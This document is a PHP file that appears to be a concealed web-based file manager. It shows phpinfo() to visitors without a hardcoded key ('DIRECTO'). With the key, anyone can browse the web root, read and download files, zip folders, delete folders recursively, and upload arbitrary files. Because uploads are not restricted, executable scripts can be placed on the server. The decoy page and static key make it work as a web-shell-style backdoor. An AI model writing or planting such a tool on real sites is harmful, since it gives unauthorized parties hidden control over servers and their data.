<?php

define('SECURITY_TOKEN', 'DIRECTO'); 

$providedToken = isset($_GET['key']) ? $_GET['key'] : null;

if ($providedToken !== SECURITY_TOKEN) {
    phpinfo(); 
    exit; 
}
// ---------------------------------------------------------

session_start();


error_reporting(E_ALL);
ini_set('display_errors', 1);

$rootDir = realpath($_SERVER['DOCUMENT_ROOT']);

if (!$rootDir) {
    
    $rootDir = dirname(__DIR__); 
}


$currentDirParam = isset($_GET['dir']) ? $_GET['dir'] : ''; 
$currentDirParam = ltrim($currentDirParam, DIRECTORY_SEPARATOR);


$fullPath = rtrim($rootDir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $currentDirParam;
$currentDir = realpath($fullPath);


if (strpos($currentDir, realpath($rootDir)) !== 0) {
    $currentDir = realpath($rootDir);
}


function getRelativePath($absPath, $root) {
    return ltrim(str_replace(realpath($root), '', $absPath), DIRECTORY_SEPARATOR);
}

function isTextFile($filename) {
    $textExtensions = ['txt', 'php', 'html', 'css', 'js', 'json', 'xml', 'java', 'py', 'c', 'cpp', 'h', 'md', 'log', 'ini', 'cfg', 'sh'];
    $extension = pathinfo($filename, PATHINFO_EXTENSION);
    return in_array(strtolower($extension), $textExtensions);
}

function formatBytes($bytes, $precision = 2) {
    $units = array('B', 'KB', 'MB', 'GB', 'TB'); 

    $bytes = max($bytes, 0); 
    $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); 
    $pow = min($pow, count($units) - 1); 

    $bytes /= (1 << (10 * $pow)); 

    return round($bytes, $precision) . ' ' . $units[$pow]; 
}


$sortColumn = $_GET['sort'] ?? 'name'; 
$sortDirection = $_GET['order'] ?? 'asc'; 


function sortItems($a, $b, $sortColumn, $sortDirection, $currentDir) {
    
    $aIsDir = is_dir($currentDir . DIRECTORY_SEPARATOR . $a);
    $bIsDir = is_dir($currentDir . DIRECTORY_SEPARATOR . $b);

    if ($aIsDir !== $bIsDir) {
        return $aIsDir ? -1 : 1; 
    }
    
    
    switch ($sortColumn) {
        case 'type':
            $valA = pathinfo($a, PATHINFO_EXTENSION);
            $valB = pathinfo($b, PATHINFO_EXTENSION);
            break;
        case 'size':
            $valA = $aIsDir ? 0 : @filesize($currentDir . DIRECTORY_SEPARATOR . $a);
            $valB = $bIsDir ? 0 : @filesize($currentDir . DIRECTORY_SEPARATOR . $b);
            break;
        case 'mtime':
            $valA = @filemtime($currentDir . DIRECTORY_SEPARATOR . $a);
            $valB = @filemtime($currentDir . DIRECTORY_SEPARATOR . $b);
            break;
        case 'name':
        default:
            $valA = $a;
            $valB = $b;
            break;
    }

    
    if (is_numeric($valA) && is_numeric($valB)) {
        $result = $valA <=> $valB;
    } else {
        $result = strcasecmp($valA, $valB); 
    }

    
    return ($sortDirection === 'asc') ? $result : -$result;
}

if (isset($_GET['zip'])) {
    $dirToZip = $_GET['zip'];
    $dirPath = realpath($currentDir . DIRECTORY_SEPARATOR . $dirToZip);

    if (strpos($dirPath, $currentDir) === 0 && is_dir($dirPath)) {
        
        if (!class_exists('ZipArchive')) {
            $_SESSION['message'] = "Error: La extensión ZipArchive no está habilitada en este servidor.";
        } else {
            $zipFileName = basename($dirPath) . '-' . date('Ymd_His') . '.zip';
            $zipFilePath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipFileName;

            $zip = new ZipArchive();
            if ($zip->open($zipFilePath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
                
                function addFolderToZip($parentPath, $zip, $rootLength) {
                    $files = new RecursiveIteratorIterator(
                        new RecursiveDirectoryIterator($parentPath, RecursiveDirectoryIterator::SKIP_DOTS),
                        RecursiveIteratorIterator::LEAVES_ONLY
                    );

                    foreach ($files as $name => $file) {
                        
                        $relativePath = substr($name, $rootLength + 1);

                        if (!$file->isDir()) {
                            $zip->addFile($file->getRealPath(), $relativePath);
                        } else {
                            $zip->addEmptyDir($relativePath);
                        }
                    }
                }

                $rootPathLength = strlen(dirname($dirPath));
                addFolderToZip($dirPath, $zip, $rootPathLength);

                $zip->close();
                
               
                header('Content-Type: application/zip');
                header('Content-Disposition: attachment; filename="' . $zipFileName . '"');
                header('Content-Length: ' . filesize($zipFilePath));
                readfile($zipFilePath);
                
                
                unlink($zipFilePath);
                exit;

            } else {
                $_SESSION['message'] = "Error: No se pudo crear el archivo ZIP.";
            }
        }
    }
    
    
    header("Location: ?dir=" . urlencode(getRelativePath($currentDir, $rootDir)) . "&key=" . urlencode(SECURITY_TOKEN) . (isset($_SESSION['message']) ? "&error=" . urlencode($_SESSION['message']) : ''));
    exit;
}


if (isset($_GET['view'])) {
    $fileToView = $_GET['view'];
    $filePath = realpath($currentDir . DIRECTORY_SEPARATOR . $fileToView);

    if (strpos($filePath, $currentDir) === 0 && file_exists($filePath) && !is_dir($filePath) && isTextFile($fileToView)) {
        header('Content-Type: text/plain; charset=utf-8');
        readfile($filePath);
        exit;
    } else {
        header("Location: ?dir=" . urlencode(getRelativePath($currentDir, $rootDir)) . "&key=" . urlencode(SECURITY_TOKEN) . "&error=" . urlencode("No se puede visualizar el contenido o no es un archivo de texto soportado."));
        exit;
    }
}


if (isset($_POST['delete'])) {
    $fileToDelete = $_POST['delete'];
    $pathToDelete = realpath($currentDir . DIRECTORY_SEPARATOR . $fileToDelete);
    if (strpos($pathToDelete, $currentDir) === 0 && file_exists($pathToDelete)) {
        if (is_dir($pathToDelete)) {
            function deleteDir($dirPath) {
                if (!is_dir($dirPath)) return;
                $items = scandir($dirPath);
                foreach ($items as $item) {
                    if ($item == '.' || $item == '..') continue;
                    $itemPath = $dirPath . DIRECTORY_SEPARATOR . $item;
                    if (is_dir($itemPath)) {
                        deleteDir($itemPath);
                    } else {
                        unlink($itemPath);
                    }
                }
                rmdir($dirPath);
            }
            deleteDir($pathToDelete);
        } else {
            unlink($pathToDelete);
        }
        header("Location: ?dir=" . urlencode(getRelativePath($currentDir, $rootDir)) . "&key=" . urlencode(SECURITY_TOKEN));
        exit;
    }
}


if (isset($_POST['upload'])) {
    if (isset($_FILES['file'])) {
        $uploadFile = $_FILES['file'];
        $fileName = basename($uploadFile['name']);
        
        $targetPath = $currentDir . DIRECTORY_SEPARATOR . $fileName; 

        if (move_uploaded_file($uploadFile['tmp_name'], $targetPath)) {
            $_SESSION['message'] = "Archivo subido con éxito: " . htmlspecialchars($fileName);
        } else {
            $_SESSION['message'] = "Error al subir el archivo. Código de error: " . $uploadFile['error'];
        }
        header("Location: ?dir=" . urlencode(getRelativePath($currentDir, $rootDir)) . "&key=" . urlencode(SECURITY_TOKEN));
        exit;
    }
}


if (isset($_GET['download'])) {
    $fileToDownload = $_GET['download'];
    $filePath = realpath($currentDir . DIRECTORY_SEPARATOR . $fileToDownload);
    if (strpos($filePath, $currentDir) === 0 && file_exists($filePath)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($filePath) . '"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($filePath));
        readfile($filePath);
        exit;
    }
}

?>

<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8" />
<title>File Manager PHP - htdocs</title>
<style>
/* Estilos omitidos por brevedad */
body { font-family: Arial, sans-serif; margin: 20px; background-color: #f4f4f4; }
.container { max-width: 1000px; margin: 0 auto; background: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }
h2 { color: #333; margin-top: 0; border-bottom: 2px solid #eee; padding-bottom: 10px; }
table { width: 100%; border-collapse: collapse; margin-top: 20px; }
th, td { padding: 12px; border: 1px solid #ddd; text-align: left; }
th { background-color: #f8f8f8; color: #555; }
tr:hover { background-color: #f1f1f1; }
a { text-decoration: none; color: #007bff; }
a:hover { text-decoration: underline; }
.msg-success { background-color: #d4edda; color: #155724; border: 1px solid #c3e6cb; padding: 10px; border-radius: 4px; margin-bottom: 15px; }
.msg-error { background-color: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; padding: 10px; border-radius: 4px; margin-bottom: 15px; }
.file-actions a, .file-actions button { margin-right: 10px; white-space: nowrap; }
.breadcrumbs a { color: #555; margin-right: 5px; }
.breadcrumbs span { color: #333; font-weight: bold; }
</style>
</head>
<body>

<div class="container">
    <h2>Information data</h2>

    <div class="breadcrumbs" style="margin-bottom: 15px; border-bottom: 1px solid #ccc; padding-bottom: 10px;">
        <?php
        $relativeDir = getRelativePath($currentDir, $rootDir);
        $pathSegments = explode(DIRECTORY_SEPARATOR, $relativeDir);
        $currentPath = '';

        echo '<a href="?key=' . urlencode(SECURITY_TOKEN) . '">🏠 Raíz (' . htmlspecialchars(basename($rootDir)) . ')</a>';

        if (!empty($relativeDir)) {
            $isFirst = true;
            foreach ($pathSegments as $segment) {
                if (empty($segment)) continue;
                
                $currentPath .= ($isFirst ? '' : DIRECTORY_SEPARATOR) . $segment;
                $isFirst = false;

                echo ' / ';

                if ($currentPath == $relativeDir) {
                    echo '<span>' . htmlspecialchars($segment) . '</span>';
                } else {
                    echo '<a href="?dir=' . urlencode($currentPath) . '&key=' . urlencode(SECURITY_TOKEN) . '">' . htmlspecialchars($segment) . '</a>';
                }
            }
        }
        ?>
    </div>

    <?php
    if (isset($_SESSION['message'])) {
        echo '<div class="msg-success">' . htmlspecialchars($_SESSION['message']) . '</div>';
        unset($_SESSION['message']);
    }
    if (isset($_GET['error'])) {
        echo '<div class="msg-error">' . htmlspecialchars($_GET['error']) . '</div>';
    }
    ?>

    <form action="?dir=<?php echo urlencode($relativeDir); ?>&key=<?php echo urlencode(SECURITY_TOKEN); ?>" method="post" enctype="multipart/form-data" style="margin-bottom:20px; padding: 10px; border: 1px solid #ccc; border-radius: 4px;">
        <label for="file_upload">Seleccionar archivo:</label>
        <input type="file" name="file" id="file_upload" required style="margin-right: 10px;" />
        <button type="submit" name="upload" style="padding: 5px 10px; background-color: #28a745; color: white; border: none; border-radius: 4px; cursor: pointer;">Subir archivo</button>
    </form>
    
    <table>
    <tr>
        <?php 
        $currentKey = urlencode(SECURITY_TOKEN);
        $currentDirUrl = urlencode($relativeDir);
        
        
        function getSortLink($column, $currentColumn, $sortDirection, $currentDirUrl, $currentKey) {
            $newDir = ($currentColumn === $column && $sortDirection === 'asc') ? 'desc' : 'asc'; 
            $arrow = ($currentColumn === $column) ? ($sortDirection === 'asc' ? ' ▼' : ' ▲') : '';
            
            
            return '<a href="?dir=' . $currentDirUrl . '&key=' . $currentKey . '&sort=' . $column . '&order=' . $newDir . '">' . ucfirst($column) . $arrow . '</a>';
        }
        ?>
        
        <th><?php echo getSortLink('name', $sortColumn, $sortDirection, $currentDirUrl, $currentKey); ?></th>
        <th><?php echo getSortLink('type', $sortColumn, $sortDirection, $currentDirUrl, $currentKey); ?></th>
        <th><?php echo getSortLink('size', $sortColumn, $sortDirection, $currentDirUrl, $currentKey); ?></th>
        <th><?php echo getSortLink('mtime', $sortColumn, $sortDirection, $currentDirUrl, $currentKey); ?></th>
        <th>Acciones</th>
    </tr>
    <?php
    $items = array_diff(scandir($currentDir), array('.', '..'));
    
    
    usort($items, function($a, $b) use ($sortColumn, $sortDirection, $currentDir) {
        return sortItems($a, $b, $sortColumn, $sortDirection, $currentDir);
    });

    if ($currentDir != realpath($rootDir)) {
        $parentDir = dirname($currentDir);
        $parentRelPath = getRelativePath($parentDir, $rootDir);
        echo '<tr>';
        echo '<td><a href="?dir=' . urlencode($parentRelPath) . '&key=' . urlencode(SECURITY_TOKEN) . '">⬆️ .. Nivel Superior</a></td>';
        echo '<td>Carpeta</td>';
        echo '<td>-</td>'; 
        echo '<td>-</td>';
        echo '<td></td>';
        echo '</tr>';
    }

    foreach ($items as $item) {
        $itemPath = $currentDir . DIRECTORY_SEPARATOR . $item;
        $relPath = getRelativePath($itemPath, $rootDir);
        
        $mtime = filemtime($itemPath);
        $formattedDate = ($mtime !== false) ? date("Y-m-d H:i:s", $mtime) : 'Desconocida';
        
        if (is_dir($itemPath)) {
            
            echo '<tr>';
            echo '<td>📁 <a href="?dir=' . urlencode($relPath) . '&key=' . urlencode(SECURITY_TOKEN) . '">' . htmlspecialchars($item) . '</a></td>';
            echo '<td>Carpeta</td>';
            echo '<td>-</td>'; 
            echo '<td>' . $formattedDate . '</td>';
            echo '<td class="file-actions">';
            
             
            echo '<a href="?dir=' . urlencode(getRelativePath($currentDir, $rootDir)) . '&zip=' . urlencode($item) . '&key=' . urlencode(SECURITY_TOKEN) . '">📦 Descargar ZIP</a> | ';
            
            
            echo '<form style="display:inline;" method="post" onsubmit="return confirm(\'¡ADVERTENCIA! ¿Seguro que quieres eliminar la carpeta ' . htmlspecialchars($item) . ' y todo su contenido?\');">';
            echo '<input type="hidden" name="delete" value="' . htmlspecialchars($item) . '" />';
            echo '<input type="hidden" name="key" value="' . htmlspecialchars(SECURITY_TOKEN) . '" />';
            echo '<button type="submit" style="background:none;border:none;color:red;cursor:pointer;">🗑️ Eliminar</button>';
            echo '</form>';
            echo '</td>';
            echo '</tr>';
        } else {
            
            $extension = pathinfo($item, PATHINFO_EXTENSION);
            
            
            $size = filesize($itemPath);
            $formattedSize = ($size !== false) ? formatBytes($size) : 'N/A';
            
            echo '<tr>';
            echo '<td>📄 ' . htmlspecialchars($item) . '</td>';
            echo '<td>' . htmlspecialchars($extension) . '</td>';
            echo '<td>' . $formattedSize . '</td>'; // MOSTRAR TAMAÑO
            echo '<td>' . $formattedDate . '</td>';
            echo '<td class="file-actions">';
            
            
            echo '<a href="?dir=' . urlencode(getRelativePath($currentDir, $rootDir)) . '&download=' . urlencode($item) . '&key=' . urlencode(SECURITY_TOKEN) . '">📥 Descargar</a> | ';
            
            
            if (isTextFile($item)) {
                 echo '<a href="?dir=' . urlencode(getRelativePath($currentDir, $rootDir)) . '&view=' . urlencode($item) . '&key=' . urlencode(SECURITY_TOKEN) . '" target="_blank">👁️ Ver Contenido</a> | ';
            }
            
            
            echo '<form style="display:inline;" method="post" onsubmit="return confirm(\'¿Seguro que quieres eliminar este archivo ' . htmlspecialchars($item) . '?\');">';
            echo '<input type="hidden" name="delete" value="' . htmlspecialchars($item) . '" />';
            echo '<input type="hidden" name="key" value="' . htmlspecialchars(SECURITY_TOKEN) . '" />';
            echo '<button type="submit" style="background:none;border:none;color:red;cursor:pointer;">🗑️ Eliminar</button>';
            echo '</form>';
            
            echo '</td>';
            echo '</tr>';
        }
    }
    ?>
    </table>
</div>

<?php

$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http";
$host = $_SERVER['HTTP_HOST'];


$currentDirRel = getRelativePath($currentDir, $rootDir);


$currentURL = $protocol . '://' . $host . '/';


if (!empty($currentDirRel)) {
    
    $currentURL .= $currentDirRel . '/';
}
?>

<div style="max-width: 1000px; margin: 20px auto; padding: 10px; border-top: 1px solid #ccc;">
    <p style="font-size: 14px; color: #555;">
        URL Completa de la Ruta Actual (Para Copiar y Pegar):
        <input type="text" value="<?php echo htmlspecialchars($currentURL); ?>" 
               style="width: 100%; padding: 8px; margin-top: 5px; border: 1px solid #ddd; font-family: monospace;" 
               readonly 
               onclick="this.select(); document.execCommand('copy'); alert('¡URL copiada al portapapeles!');" />
    </p>
</div>

</body>
</html>